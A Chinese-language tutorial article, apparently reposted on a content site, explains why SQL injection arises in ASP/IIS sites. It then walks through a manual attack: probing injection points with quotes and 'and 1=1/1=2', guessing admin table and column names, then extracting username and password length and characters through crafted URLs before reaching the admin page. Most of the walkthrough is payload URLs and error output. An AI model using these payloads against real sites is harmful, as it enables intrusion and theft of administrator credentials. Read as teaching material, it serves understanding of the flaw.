分析网站脚本漏洞形成的原因

时间:2023-05-01 12:05:50 资料 我要投稿
  • 相关推荐

分析网站脚本漏洞形成的原因

由于编写网页程序这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。我们看一个例子:在本机建一个基于iis的asp程序http://localhost/test/show.asp?ID=3,将这个网址提交到服务器后,服务器将进行类似Select * from 表名 where 字段="&ID的查询(ID即客户端提交的参数,本例即是3),再将查询结果返回给客户端,如果这里客户端故意提交这么一个网址:http://localhost/test/show.asp?ID=3 and user>0,这时,服务器运行Select * from 表名 where 字段=444 and user>0这样的查询,当然,这个语句是运行不下去的,肯定出错,错误信息如下:

·错误类型:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)

[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 ’test’ 转换为数据类型为 int 的列时发生语法错误。

/test/show.asp, 第 34 行

从这个出错信息中,我们可以获得以下信息:该站使用MSSQL数据库,用ODBC连接,连接帐号名为:test。所谓SQL注入,就是利用程序员对用户输入数据的合法性检测不严或不检测的特点,故意从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取想得到的资料。通常别有用心者的目标是获取网站管理员的帐号和密码。比如当知道网站管理员帐号存在表login中,管理员帐号名为admin 想知道admin的密码,这里接着从客户端提交这样一个网址:

http://localhost/test/show.asp?ID=4 and (Select password fro

m login where user_name=’admin’)>0,返回的出错信息如下:

·错误类型:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)

[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 ’admin888’ 转换为数据类型为 int 的列时发生语法错误。

/test/show.asp, 第 34 行

现在出来了“admin888”就是管理员的密码!得到这个密码,这时您就可以用这个帐号和密码接管人家的网站了!当然我们并不知道帐号就在表login中,而且也不知道管理员名为admin,但这些不容难办到,我们可以写个工具进行猜解,速度很快就可以找到你想要的东西了。前面是有关mssql数据库的注入基础,我们再看一看acce数据库的注入基础:首先进行浏览器的设置,以保证手工注入时能返回出错信息。其操作步骤为:右键单击浏览器图标,选择

“属性”,在弹出来的对话框中选择“高级”选项卡,接着去掉“显示友好的HTTP错误信息”前面的钩,最后点击“应用”按钮即可。

对于sql注入得先找到注入点,注入点的判断方法为:通常打开一个类似http://wwww.xxxx.com/xxx.asp?id=xx的url后加个单引号,变成http://ww.xxx.com/xxx.asp?id=xx’

如果出现错误提示,则说明可能存在注入漏洞,再输入http://www.xxx.com/xxx.asp?id=xx and 1=1如果存在SQL注入漏洞,就可以查询数据库,1=1是一个恒等式可以忽略,因此会返回一个正常的页面,此页面和http://wwww.xxxx.com/xxx.asp?id=xx一样,这时入侵者便判断此站有希望被注入。如果返回的是一些错误信息,那么一些初级的入侵者可能就会放弃这个站点。入侵者进一步向浏览器提交如下url: http://www.xxx.com/xxx.asp?id=xx and 1=2,1=2为一个恒不等式,如果该站点支持数据库查询,则大概会返回如下所示的信息:

Microsoft vbscript 编译器错误 错误码率

‘800a03f6’

缺少’End’

/iishelp/common/500-100.asp,行242

ADODB.Field 错误 ‘800a0bcd’

一般出现以上信息就可以确定存在sql注入漏洞了。下面我们来看一下sql注入的过程分析:

如: 打开:http://hostlocal/test2/list.asp?id=17在其后面加'为http://hostlocal/test2/list.asp?id=17'

出错!显示为:“数据库出错”。那么接下来我们便进行如下操作:

1 猜管理员帐号表。

2 猜相应表中的用户的字段名以及密码的字段名。

3 猜出用户名的长度和密码的长度

4 猜出用户和密码

5 找到管理页面进入管理

猜管理员的表:

http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)'//min(id)返回表中ID最小值

返回文章证明,有一个admin的表;如果没有返回文章,证明出错不存在admin这个表。

猜用户的字段名:

http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user='aaa')返回错误信息,表示没有user这个用户段名

再来!~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username='aaa')

没有返回错误信息,又没有返回文章,提示找不到文章。证明在admin中存在username个字段,只是用户名不是aaa

猜密码的字段名:

http://hostlocal/test2/list.asp?id=17 and 1=(select min(i

d) from admin where passwd='aaa')返回错误信息表示没有passwd这个密码字段名。

再来:http://hostlocal/test2/list.asp?id=17 and 1=(select

min(id) from admin where password=aaa')没有返回错误信息,又没有返回文章,提示找不到文章。证明在admi

n中存在password这个字段,只是密码不是aaa

猜用户字段名长度: http://http://meiwen.anslib.com/news/55AE9092A68FE081.html

http://hostlocal/test2/list.asp?id=17 and 1=(select min(

id) from admin where len(username)

>5)

正确

http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)

正确

用户名长度大于5小于10

http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)

=7)

呵``` 用户名长度为7位

猜密码长度:

http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5)

正确

http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)

正确

密码长度也是大于5小于10

http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7)

呵``` 密码长度为7位

猜用户名:

http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)='a')

用户名第一个字母是:a

猜用户名第二位:http://hostlocal/test2/list.asp?id=17 and 1=

(select min(id) from admin where mid(username,2,1)='b')

以此类推!

猜密码:

猜密码跟猜用户名一样!

http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)='a')

猜完后来到管理页面:

http://hostlocal/test2/admin.asp

【分析网站脚本漏洞形成的原因】相关文章:

天的含义及词义形成原因分析05-02

信息安全漏洞原因11-03

空心板梁早期裂缝的形成原因分析与控制05-02

网络求职招聘人才网站系统正式版漏洞漏洞预警10-31

内蒙古呼伦湖沙丘带形成原因分析04-28

古河道、古湖泊形成的原因分析及防治措施有哪些01-11

地震云形成的分析04-27

沥青混凝土路面坑槽形成原因及修补方法分析04-27

常见电子商务系统漏洞分析04-26

婴儿依恋心理形成原因12-16